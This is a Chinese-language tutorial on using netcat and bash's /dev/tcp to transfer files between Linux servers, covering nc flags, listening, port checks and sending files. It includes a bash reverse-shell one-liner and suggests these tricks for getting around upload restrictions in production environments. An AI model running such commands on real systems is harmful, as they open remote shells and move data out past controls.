介绍
在服务器之间传输文件有多种方法,比如scp,rz/sz,搭建ftp等等。
使用命令就可以安装: yum install lrzsz
windows下感觉最方便的还是rz/sz,支持直接鼠标拖拽但是需要用户终端的支持,基于zmodem协议,传输速度慢,传输一些大型的二进制文件会失败。
scp命令基于ssh协议,需要服务器能ssh登陆,有时想在服务器间传输文件,而服务器间不能直接登陆,需要经过跳板机中转,用scp命令就显得过于繁琐。
通过搭建ftp来传输,就更繁琐了。
而linux下其实还提供了另一个方便的工具——nc,基于其轻量级的特性,linux系统上一般都会自带。它可以用来做文件传输,但其实其功能并不只局限于此。
当进入第三方测试环境、生产环境,无法使用文件上传工具时,只要能ping通外网,这时候就可以使用nc命令进行文件传输,命令反弹等
nc的使用
参数
-l: 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
-p: 暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
-s : 指定发送数据的源IP地址,适用于多网卡机
-u: 指定nc使用UDP协议,默认为TCP
-v: 输出交互或出错信息,新手调试时尤为有用
-w: 超时秒数,后面跟数字
-z: 表示zero,表示扫描时不发送任何数据
最常用监听命令
1 | nc -lvvp 1234 |
连接到另外一台电脑
1 | nc ip地址 1234 |
使用nc传输文件
客户端发送
1 | nc ip地址 1234 < file.txt |
服务端接收
1 | nc -l 1234 > file.txt |
/dev/tcp文件
在Linux中有一个特殊文件:/dev/tcp
打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
我们可以通过重定向实现基于tcp/udp协议的软件通讯,/dev/tcp/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。
如果主机以及端口存在,就建立一个socket 连接,将在 /proc/self/fd 目录下面,有对应的文件出现。
最常用的是测试端口是否开启
1 | echo >/dev/tcp/目标ip/目标port |
反弹bash shell
1 | bash -i >& /dev/tcp/目标ip/目标port 0>&1 |
收发数据
服务端用ncat等待连接ncat -lvvp 6000
然后客户端作为连接发起者这样做
1 | exec 8<>/dev/tcp/gg.4fk.me/6000 #建立连接 |
如果内网环境没有nc命令如何发送文件
这时候就配合/dev/tcp
来发送接收文件了
服务端接收
1 | nc -lvvp 1234 > file.txt |
客户端发送
1 | cat file.zip > /dev/tcp/目标ip/目标port |
服务端发送
1 | nc -lvvp 1234 < file.txt |
客户端接收
1 | cat < /dev/tcp/目标ip/目标port > file.zip |